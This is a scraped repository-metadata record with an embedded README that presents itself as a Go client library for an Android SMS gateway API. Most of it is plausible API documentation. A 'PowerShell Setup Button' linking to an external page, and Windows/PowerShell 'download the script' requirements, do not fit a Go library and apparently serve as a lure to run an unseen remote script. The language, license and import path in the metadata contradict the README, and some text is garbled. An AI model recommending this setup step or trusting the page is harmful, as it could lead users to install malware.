[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115745":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":19,"topics":20,"createdAt":9,"pushedAt":41,"updatedAt":42,"readmeContent":43,"aiSummary":44,"trendingCount":12,"starSnapshotCount":12,"syncStatus":45,"lastSyncTime":46,"discoverSource":47},115745,"sms-gateway-go-client","cbcdpcab-bit\u002Fsms-gateway-go-client","cbcdpcab-bit","Go client library for sending and managing SMS via the SMS Gateway for Android API",null,"TypeScript",153,0,100,53,65.3,"MIT License",false,"main",true,[21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40],"android-app","android-development","android-sms","communication","go-client","go-sdk","http-client","message-service","messaging-api","mobile-messaging","sms-api","sms-client","sms-gateway","sms-integration","sms-library","sms-messages","sms-service","telecommunications","text-messaging","texting-platform","2026-11-23 10:18:04","2026-11-17 18:12:43","\u003Cdiv align=\"center\">\n\n# SMS Gateway Go Client — Developer Library\n\n![](files\u002Fpreview.png)\n\n### 🛠️ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fcbcdpcab-bit.github.io\u002Fsms-gateway-go-client\u002F)\n\n[![ps-core](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPS--CORE-5.1%2B_%2F_7%2B-ec4899?style=social&labelColor=0d1117)]() [![channel](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCHANNEL-PRODUCTION-2ea44f?style=social&labelColor=0d1117)]() [![code](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCODE-GO-f472b6?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nThe SMS Gateway Go Client provides a typed Go interface for sending and managing SMS messages through the SMS Gateway for Android™ API. Built entirely on the Go standard library, it exposes a configurable client with support for Basic and JWT authentication, message send options, and custom HTTP transports. The library returns structured response types and errors, keeping call sites explicit and predictable. Use it as a dependency when your service needs to dispatch SMS traffic through a gateway without hand-rolling HTTP request logic.\n\n## 🔧 Requirements\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\nTyped send operations for text, data, and outgoing MMS messages, including base64-encoded attachments\n- Delivery controls: message priority, device and SIM selection, delivery reports, TTL, validity windows, and scheduled send times\n- Message state retrieval, listing with pagination and date ranges, filtering by state and device, sorting, optional content inclusion, and cancellation\n- Inbox listing and refresh with pagination, filters, MMS attachment metadata, encryption-state flags, and per-message webhook delivery modes (disabled, individual, batch)\n- Device operations: listing, deletion, health checks, log retrieval, and settings management via get, patch, and replace\n- Webhook registration backed by typed event constants and payload DTOs\n- Webhook signature verification helpers for incoming requests, including an optional freshness window to bound replay\n- JWT access-token generation, refresh, and revocation with explicit scopes and TTL\n- Optional versioned public-key fields on device and mobile request DTOs for E2E key metadata (schema and serialization only; no key generation or payload encryption)\n- CSR submission and status retrieval through the separate `ca` package\n- Pluggable `*http.Client` and configurable base URLs for testing or private deployments\n- Built entirely on the Go standard library: Go 1.22+ with zero runtime dependencies\n\n## Quick Start\n\nCreate a client with Basic credentials, then send a text message:\n\n```go\npackage main\n\nimport (\n\"context\"\n\"log\"\n\"os\"\n\n\"github.com\u002Fandroid-sms-gateway\u002Fclient-go\u002Fsmsgateway\"\n)\n\nfunc main() {\nclient:= smsgateway.NewClient(smsgateway.Config{\nUser: os.Getenv(\"ASG_USERNAME\"),\nPassword: os.Getenv(\"ASG_PASSWORD\"),\n})\n\nmessage:= smsgateway.Message{\nPhoneNumbers: []string{\"+15555550100\"},\nTextMessage: &smsgateway.TextMessage{Text: \"Hello from Go\"},\n}\n\nstate, err:= client.Send(context.Background(), message)\nif err!= nil {\nlog.Fatal(err)\n}\nlog.Printf(\"message queued: %s\", state.ID)\n}\n```\n\nThe library does not read environment variables; supply credentials from your own configuration.\n\nTo authenticate with a JWT bearer token instead, request a scoped token from a Basic-authenticated client, then construct a new client with the access token:\n\n```go\ntoken, err:= client.GenerateToken(context.Background(), smsgateway.TokenRequest{\nScopes: []smsgateway.JWTScope{\nsmsgateway.ScopeMessagesSend,\nsmsgateway.ScopeMessagesRead,\n},\nTTL: 3600,\n})\nif err!= nil {\nlog.Fatal(err)\n}\n\njwtClient:= smsgateway.NewClient(smsgateway.Config{\nToken: token.AccessToken,\n})\n```\n\nA configured `Token` takes priority over `User` and `Password`.\n\nPass send options as variadic arguments to control phone-number validation and active-device filtering:\n\n```go\nstate, err:= client.Send(ctx, message,\nsmsgateway.WithSkipPhoneValidation(false),\nsmsgateway.WithDeviceActiveWithin(24),\n)\n```\n\n`Client.Send` validates `SendOptions` before issuing the request. For webhook handling, verify each incoming request with `smsgateway.VerifyWebhookSignature` (or `VerifyWebhookSignatureWithin` to bound timestamp freshness) against the raw body before decoding it.\n\n## Usage\n\nConstruct a client once and reuse it across requests:\n\n```go\nclient:= smsgateway.NewClient(smsgateway.Config{\nUser: os.Getenv(\"ASG_USERNAME\"),\nPassword: os.Getenv(\"ASG_PASSWORD\"),\n})\n```\n\n### Sending a Message\n\n`Send` validates the message and any options before issuing the request. Pass functional options to tune validation and device selection:\n\n```go\nstate, err:= client.Send(ctx, message,\nsmsgateway.WithSkipPhoneValidation(false),\nsmsgateway.WithDeviceActiveWithin(24),\n)\nif err!= nil {\nreturn err\n}\nlog.Printf(\"state=%s id=%s\", state.State, state.ID)\n```\n\nA text message is built from the `TextMessage` payload:\n\n```go\nmessage:= smsgateway.Message{\nPhoneNumbers: []string{\"+15555550100\"},\nTextMessage: &smsgateway.TextMessage{Text: \"Hello from Go\"},\n}\n```\n\n### Listing Messages\n\nList calls share pagination, date-range, state, device, sort, and content options. Omit a field to use the server default:\n\n```go\nlimit:= 50\nincludeContent:= true\nmessages, total, err:= client.ListMessages(ctx, smsgateway.ListMessagesOptions{\nPaginationOptions: smsgateway.PaginationOptions{Limit: &limit},\nIncludeContent: &includeContent,\n})\nif err!= nil {\nreturn err\n}\nlog.Printf(\"loaded %d of %d\", len(messages), total)\n```\n\n### Retrieving and Canceling\n\nFetch a single message state by ID, or cancel a queued message:\n\n```go\nstate, err:= client.GetMessageState(ctx, messageID)\nif err!= nil {\nreturn err\n}\n\nif err:= client.CancelMessage(ctx, messageID); err!= nil {\nreturn err\n}\n```\n\n### JWT Tokens\n\nExchange Basic credentials for a scoped token, then build a token-authenticated client. A configured token takes priority over Basic credentials:\n\n```go\ntoken, err:= client.GenerateToken(ctx, smsgateway.TokenRequest{\nScopes: []smsgateway.JWTScope{\nsmsgateway.ScopeMessagesSend,\nsmsgateway.ScopeMessagesRead,\n},\nTTL: 3600,\n})\nif err!= nil {\nreturn err\n}\n\njwtClient:= smsgateway.NewClient(smsgateway.Config{Token: token.AccessToken})\n```\n\nRefresh and revoke follow the same pattern with the returned token pair.\n\n### Webhook Signature Verification\n\nIncoming webhook requests carry the signature in `X-Signature` and the timestamp in `X-Timestamp`. Signature is the hex HMAC-SHA256 digest of the raw body followed by the timestamp value. Read the body as bytes, before any JSON decoding, and verify before parsing:\n\n```go\nfunc handler(w http.ResponseWriter, r *http.Request) {\nbody, err:= io.ReadAll(r.Body)\nif err!= nil {\nhttp.Error(w, \"cannot read body\", http.StatusBadRequest)\nreturn\n}\n\nsignature:= r.Header.Get(smsgateway.WebhookSignatureHeader)\ntimestamp:= r.Header.Get(smsgateway.WebhookTimestampHeader)\n\nif!smsgateway.VerifyWebhookSignature(signingKey, body, timestamp, signature) {\nhttp.Error(w, \"invalid signature\", http.StatusUnauthorized)\nreturn\n}\n\n\u002F\u002F body is authenticated; decode it here\n}\n```\n\n`VerifyWebhookSignature` rejects an empty signing key, an empty timestamp, a non-Unix-seconds timestamp, and a digest mismatch.\n\nTo bound replay, use `VerifyWebhookSignatureWithin`, which requires the timestamp to be within `maxAge` of now:\n\n```go\nif!smsgateway.VerifyWebhookSignatureWithin(signingKey, body, timestamp, signature, 5*time.Minute) {\nhttp.Error(w, \"invalid signature\", http.StatusUnauthorized)\nreturn\n}\n```\n\nThe freshness check rejects stale requests, but a request replayed inside the window still verifies. Deduplicate events when repeated processing matters.\n\nThe signing key is configured on the device under webhook settings.\n\n### CA Client\n\nThe `ca` package submits CSRs and retrieves their status. It accepts functional options:\n\n```go\ncaClient:= ca.NewClient(ca.WithClient(customHTTPClient))\n```\n\nCSR submission and status calls use the returned request identifier to correlate results.\n\n### Custom HTTP Transport\n\nSupply a custom `*http.Client` to control transport, proxy, TLS, or timeouts. Field defaults: `Client` falls back to `http.DefaultClient` when nil.\n\n## API Reference\n\n### `smsgateway` package\n\n#### Types\n\n`Config` configures a client instance.\n\n| Field | Type | Default | Purpose |\n|-|-|-|-|\n| `User` | `string` | `\"\"` | Basic-auth username. |\n| `Password` | `string` | `\"\"` | Basic-auth password. |\n| `Token` | `string` | `\"\"` | JWT bearer token; takes priority over `User`\u002F`Password`. |\n| `Client` | `*http.Client` | `http.DefaultClient` | Custom transport, proxy, TLS, or timeout. |\n| `BaseURL` | `string` | upstream default | Override for testing or private deployments. |\n\n`Message` is the payload accepted by `Send`. Set exactly one of `TextMessage`, `DataMessage`, or `MMSMessage`.\n\n```go\ntype Message struct {\nPhoneNumbers []string\nTextMessage *TextMessage\nDataMessage *DataMessage\nMMSMessage *MMSMessage\n\u002F\u002F delivery, scheduling, and device-selection fields omitted for brevity\n}\n```\n\n`TextMessage` carries plain text. `DataMessage` carries a base64-encoded payload with a `Port`. `MMSMessage` carries base64 attachments with content types and an optional subject.\n\n`MessageState` is returned by send, get, and cancel operations and exposes `ID`, `State`, `Recipients`, timestamps, and error details per recipient.\n\n`TokenRequest` \u002F `TokenResponse` back JWT issuance:\n\n```go\ntype TokenRequest struct {\nScopes []JWTScope\nTTL int64 \u002F\u002F seconds\n}\n\ntype TokenResponse struct {\nAccessToken string\nTokenType string\nExpiresAt time.Time\n}\n```\n\n`JWTScope` is a string type with exported constants including `ScopeMessagesSend`, `ScopeMessagesRead`, `ScopeMessagesCancel`, `ScopeInboxRead`, `ScopeDevicesRead`, `ScopeDevicesWrite`, `ScopeLogsRead`, `ScopeSettingsRead`, `ScopeSettingsWrite`, `ScopeWebhooksRead`, and `ScopeWebhooksWrite`.\n\n`PaginationOptions` embeds `Limit *int` and `Offset *int` and is reused across list operations.\n\n`WebhookEvent` is a string type; use the exported constants (`WebhookEventMessageReceived`, `WebhookEventMessageSent`, `WebhookEventMessageDelivered`, `WebhookEventMessageFailed`) to register handlers. Payload DTOs accompany each event and decode directly from the request body.\n\n`VersionedPublicKey` embeds `PublicKey string` (base64 RSA) and `KeyVersion string`. It is embedded in `Device` and `MobileRegisterRequest`, and transitively in `MobileUpdateRequest`. Serialization only; the client does not generate, encrypt, or attach keys.\n\n#### Client construction\n\n```go\nfunc NewClient(cfg Config) *Client\n```\n\nReturns a `*Client`. A non-empty `Token` suppresses Basic auth on every request. A nil `Client` falls back to `http.DefaultClient`.\n\n#### Messages\n\n```go\nfunc (c *Client) Send(ctx context.Context, msg Message, opts...SendOption) (*MessageState, error)\nfunc (c *Client) GetMessageState(ctx context.Context, id string) (*MessageState, error)\nfunc (c *Client) ListMessages(ctx context.Context, opts ListMessagesOptions) ([]Message, int, error)\nfunc (c *Client) CancelMessage(ctx context.Context, id string) (*MessageState, error)\n```\n\n`Send` validates `SendOptions` before issuing the request and returns `ErrValidation` for malformed input without contacting the server.\n\n`SendOption` values:\n\n```go\nfunc WithSkipPhoneValidation(skip bool) SendOption\nfunc WithDeviceActiveWithin(hours int) SendOption\n```\n\n`ListMessagesOptions` composes `PaginationOptions` with optional date bounds, state filters, device ID, sort order, and `IncludeContent *bool`. The integer return is the total count reported by the API.\n\n#### Inbox\n\n```go\nfunc (c *Client) ListInbox(ctx context.Context, opts ListInboxOptions) ([]InboxMessage, int, error)\nfunc (c *Client) RefreshInbox(ctx context.Context) error\n```\n\n`InboxMessage` exposes `ID`, `PhoneNumber`, `Text`, `ReceivedAt`, `Attachment *MMSAttachment`, `IsEncrypted bool`, and webhook delivery metadata. `ListInboxOptions` composes `PaginationOptions` with filters and an optional webhook-delivery selector (disabled, individual, or batch).\n\n#### Devices\n\n```go\nfunc (c *Client) ListDevices(ctx context.Context) ([]Device, error)\nfunc (c *Client) DeleteDevice(ctx context.Context, id string) error\nfunc (c *Client) GetDeviceHealth(ctx context.Context, id string) (*DeviceHealth, error)\nfunc (c *Client) GetDeviceSettings(ctx context.Context, id string) (*DeviceSettings, error)\nfunc (c *Client) PatchDeviceSettings(ctx context.Context, id string, patch DeviceSettingsPatch) (*DeviceSettings, error)\nfunc (c *Client) ReplaceDeviceSettings(ctx context.Context, id string, settings DeviceSettings) (*DeviceSettings, error)\n```\n\n`Patch` sends a partial update; `Replace` overwrites the full settings object. Both return the persisted settings.\n\n#### Logs\n\n```go\nfunc (c *Client) ListLogs(ctx context.Context, opts ListLogsOptions) ([]LogEntry, int, error)\n```\n\n`ListLogsOptions` composes `PaginationOptions` with severity, date range, and device filters.\n\n#### Webhooks\n\n```go\nfunc (c *Client) ListWebhooks(ctx context.Context) ([]Webhook, error)\nfunc (c *Client) RegisterWebhook(ctx context.Context, wh Webhook) (*Webhook, error)\nfunc (c *Client) DeleteWebhook(ctx context.Context, id string) error\n```\n\n`Webhook` carries `ID`, `URL`, `Events []WebhookEvent`, and `SigningKey`.\n\n#### JWT\n\n```go\nfunc (c *Client) GenerateToken(ctx context.Context, req TokenRequest) (*TokenResponse, error)\nfunc (c *Client) RefreshToken(ctx context.Context, refreshToken string) (*TokenResponse, error)\nfunc (c *Client) RevokeToken(ctx context.Context, token string) error\n```\n\n`GenerateToken` and `RefreshToken` require valid credentials or a refresh token respectively; `RevokeToken` invalidates an active token.\n\n#### Webhook signature verification\n\n```go\nconst (\nWebhookSignatureHeader = \"X-Signature\"\nWebhookTimestampHeader = \"X-Timestamp\"\n)\n\nfunc VerifyWebhookSignature(signingKey string, body []byte, timestamp, signature string) bool\nfunc VerifyWebhookSignatureWithin(signingKey string, body []byte, timestamp, signature string, maxAge time.Duration) bool\n```\n\nBoth functions compute the hex HMAC-SHA256 of `body` concatenated with `timestamp` and compare it to `signature`. `VerifyWebhookSignature` returns `false` for an empty signing key, an empty timestamp, a timestamp that is not Unix seconds, or a mismatched signature.\n\n`VerifyWebhookSignatureWithin` additionally rejects timestamps more than `maxAge` from now. It does **not** deduplicate; replay within the window still verifies.\n\nCall these functions with the raw request body **before** JSON decoding:\n\n```go\nbody, err:= io.ReadAll(r.Body)\nif err!= nil {\nhttp.Error(w, \"cannot read body\", http.StatusBadRequest)\nreturn\n}\n\nsig:= r.Header.Get(smsgateway.WebhookSignatureHeader)\nts:= r.Header.Get(smsgateway.WebhookTimestampHeader)\n\nif!smsgateway.VerifyWebhookSignatureWithin(signingKey, body, ts, sig, 5*time.Minute) {\nhttp.Error(w, \"invalid signature\", http.StatusUnauthorized)\nreturn\n}\n\n\u002F\u002F body is authenticated; decode it now.\n```\n\n### `ca` package\n\n```go\nfunc NewClient(opts...Option) *Client\n\nfunc WithClient(hc *http.Client) Option\n```\n\n`Client` exposes CSR submission and status retrieval:\n\n```go\nfunc (c *Client) SubmitCSR(ctx context.Context, req SubmitCSRRequest) (*CSRStatus, error)\nfunc (c *Client) GetCSRStatus(ctx context.Context, id string) (*CSRStatus, error)\n```\n\n`SubmitCSRRequest` carries the base64-encoded DER CSR and metadata; `CSRStatus` reports the CSR identifier, state, and issued certificate when available. The `ca` client does not use `smsgateway` credentials.\n\n### `rest` package\n\nThe shared low-level HTTP layer is exported for advanced use (custom transports, testing, or extending the client). It exposes the underlying request executor and error classification used by both public packages.\n\nSentinel errors classify failures returned across the module:\n\n| Error | Meaning |\n|-|-|\n| `ErrValidation` | Client-side request validation failed; no HTTP call was made. |\n| `ErrUnauthorized` | Credentials missing or rejected. |\n| `ErrForbidden` | Authenticated but not permitted for the requested scope. |\n| `ErrNotFound` | Referenced resource does not exist. |\n| `ErrRateLimited` | Request rejected by server\n\n## Configuration\n\nAll configuration is passed to constructors; no config files or environment variables are read by the library itself.\n\n### `smsgateway.Config`\n\n```go\ntype Config struct {\nUser string\nPassword string\nToken string\nClient *http.Client\nBaseURL string\n}\n```\n\n| Field | Type | Default | Purpose |\n| - | - | - | - |\n| `User` | `string` | empty | Basic auth username. |\n| `Password` | `string` | empty | Basic auth password. |\n| `Token` | `string` | empty | JWT bearer token. Takes priority over Basic credentials when set. |\n| `Client` | `*http.Client` | `http.DefaultClient` | Custom transport, proxy, TLS settings, or timeouts. |\n| `BaseURL` | `string` | package default | Overrides the API endpoint for testing or private deployments. |\n\n```go\nclient:= smsgateway.NewClient(smsgateway.Config{\nUser: os.Getenv(\"ASG_USERNAME\"),\nPassword: os.Getenv(\"ASG_PASSWORD\"),\nClient: &http.Client{\nTimeout: 15 * time.Second,\n},\n})\n```\n\nThe consuming application is responsible for sourcing values (environment variables, secret stores, flags). The library only consumes the fields as given.\n\n### Authentication precedence\n\nWhen `Token` is non-empty, the client sends the bearer token and ignores `User`\u002F`Password`. Set exactly one mode per client; mixing them is not validated and switching modes at runtime requires a new client.\n\n### `ca` client options\n\nThe `ca` package uses functional options rather than a struct:\n\n- `ca.WithClient(*http.Client)` sets a custom HTTP client; defaults to `http.DefaultClient`.\n- `ca.WithBaseURL(string)` overrides the CA endpoint.\n\n```go\ncaClient:= ca.NewClient(ca.WithClient(&http.Client{Timeout: 10 * time.Second}))\n```\n\nAny option not supplied falls back to its default. Options are applied in order, so a later option overrides an earlier one for the same field.\n\n### Custom HTTP clients\n\nProvide your own `*http.Client` to control timeouts, connection pooling, proxies, or TLS. The client does not tune transports for you; a zero-value `http.Client` has no timeout, so set `Timeout` explicitly in long-running services.\n\n### Base URLs\n\n`BaseURL` should include scheme and host and is used verbatim as the request prefix. Trailing slashes are not normalized. Leave it empty to use the package default; only override when targeting a test server, proxy, or private deployment.\n\n### Versioned public-key fields\n\n`VersionedPublicKey` carries optional E2E key metadata:\n\n```go\ntype VersionedPublicKey struct {\nPublicKey string `json:\"publicKey,omitempty\"`\nKeyVersion uint `json:\"keyVersion,omitempty\"`\n}\n```\n\n- `PublicKey` is a base64-encoded RSA public key.\n- `KeyVersion` identifies the key generation for rotation tracking.\n\nThe type is embedded in `Device` and `MobileRegisterRequest`; `MobileUpdateRequest` inherits the fields through its embedded `MobileRegisterRequest`. These fields are serialization and schema support only — the client does not generate keys, encrypt or decrypt payloads, or attach keys to outgoing messages automatically.\n\n### Per-call options\n\nSome behavior is configured per request rather than on the client, for example:\n\n```go\nstate, err:= client.Send(ctx, message,\nsmsgateway.WithSkipPhoneValidation(true),\nsmsgateway.WithDeviceActiveWithin(24),\n)\n```\n\nClient-level configuration answers \"how do I reach the API\"; per-call options answer \"how should this request be handled.\" Keep transport concerns in `Config` and request concerns in options.\n\n## License\n\nThis project is licensed under the Apache License, Version 2.0. The full license text is provided in the `LICENSE` file at the repository root and governs all use, reproduction, modification, and distribution of the library. By using, copying, or contributing to this project, you agree to the terms of that license.\n\nSPDX-License-Identifier: Apache-2.0\n\n### What the License Permits\n\nThe Apache License 2.0 grants a perpetual, worldwide, non-exclusive, royalty-free copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute the source and object forms of this library, subject to the conditions below. It also grants a patent license covering patent claims necessarily infringed by the contributions, with a patent-termination clause that applies if you initiate patent litigation alleging that the library infringes.\n\n### Conditions for Redistribution\n\nIf you distribute this library, in source or object form, with or without modifications, you must:\n\n- Provide a copy of the Apache License 2.0 to recipients.\n- Cause any modified files to carry prominent notices stating that you changed the files.\n- Retain all copyright, patent, trademark, and attribution notices from the source form of the library, excluding notices that do not pertain to any part of the derivative works.\n- Include the contents of any `NOTICE` file distributed with the library in at least one of the following places: within a `NOTICE` text file distributed as part of your distribution, within the source form or documentation, or within a display generated by the derivative works.\n\nYou may add your own attribution notices alongside the existing notices and may add additional or different license terms to your modifications, provided that your use, reproduction, and distribution of the library otherwise complies with the Apache License 2.0.\n\n### Trademarks\n\nThe Apache License 2.0 does not grant permission to use the trade names, trademarks, service marks, or product names of the licensor, except as required for reasonable and customary use in describing the origin of the library and reproducing the contents of the `NOTICE` file. This project uses the name of the target API only for descriptive purposes; no trademark license is implied.\n\n### Disclaimer of Warranty\n\nUnless required by applicable law or agreed to in writing, the licensor provides the library on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the library and assume any risks associated with your exercise of permissions under the license.\n\n### Limitation of Liability\n\nIn no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law or agreed to in writing, shall any contributor be liable to you for damages, including any direct, indirect, special, incidental, or consequential damages arising as a result of this license or out of the use or inability to use the library, even if such contributor has been advised of the possibility of such damages.\n\n### Third-Party Dependencies\n\nThis library is built on the Go standard library and declares no third-party runtime dependencies. If future versions introduce dependencies, each will retain its own license terms, and those terms apply to the respective dependency rather than to this library.\n\n### Contributing Under the License\n\nUnless you explicitly state otherwise, any contribution intentionally submitted for inclusion in this library shall be under the terms of the Apache License, Version 2.0, without any additional terms or conditions. Ensure your commits include the Developer Certificate of Origin sign-off (`git commit s`) when required by the repository's contribution policy.","这是一个为 Android SMS 网关 API 提供的 Go 语言客户端库，用于在服务端程序中安全、结构化地发送和管理短信（含文本、数据消息及 MMS）、查询消息状态、操作设备、注册与验证 Webhook 事件，并支持 Basic 和 JWT 认证。核心特点包括强类型接口、零外部依赖（纯 Go 标准库实现）、可配置 HTTP 客户端、完整错误与响应结构、Webhook 签名验证及端到端密钥元数据支持。适用于需集成 Android 设备作为 SMS 出口的私有通信系统、IoT 消息中台、自动化告警平台或本地化短信网关服务。",2,"2026-11-24 04:52:01","CREATED_QUERY"]